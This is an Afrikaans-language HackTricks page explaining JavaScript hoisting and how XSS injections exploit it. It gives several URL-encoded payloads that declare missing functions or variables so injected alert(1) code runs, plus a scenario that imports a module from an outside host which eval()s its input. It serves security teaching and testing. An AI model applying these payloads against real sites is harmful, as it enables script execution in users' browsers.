JS Hoisting

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basiese Inligting

In die JavaScript-taal word 'n meganisme bekend as Hoisting beskryf waar verklarings van veranderlikes, funksies, klasse of invoere konseptueel na die bokant van hul omvang verhef word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skrip in verskeie passe gaan.

Tydens die eerste pas, ontleed die enjin die kode om te kyk vir sintaksisfoute en transformeer dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoeringskonteks verskuif word. As die ontledingsfase suksesvol is, wat aandui dat daar geen sintaksisfoute is nie, gaan die skripuitvoering voort.

Dit is van kardinale belang om te verstaan dat:

  1. Die skrip moet vry wees van sintaksisfoute vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.

  2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy tekstuele voorstelling.

Tipes Hoisting

Gebaseer op die inligting van MDN, is daar vier duidelike tipes hoisting in JavaScript:

  1. Waarde Hoisting: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat sy verklaringlyn.

  2. Verklaring Hoisting: Laat die verwysing na 'n veranderlike binne sy omvang toe voordat sy verklaring, sonder om 'n ReferenceError te veroorsaak, maar die veranderlike se waarde sal undefined wees.

  3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die veranderlike se verklaring voordat sy werklike verklaringlyn.

  4. Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.

In detail, funksieverklarings toon tipe 1 hoisting gedrag. Die var sleutelwoord demonstreer tipe 2 gedrag. Lexikale verklarings, wat let, const, en class insluit, toon tipe 3 gedrag. Laastens, import verklarings is uniek in die sin dat hulle met beide tipe 1 en tipe 4 gedrag gehoist word.

Scenario's

Daarom, as jy scenario's het waar jy JS kode kan inspuit nadat 'n nie-verklaarde objek gebruik is, kan jy die sintaksis regmaak deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Meer Scenario's

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Verwysings

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated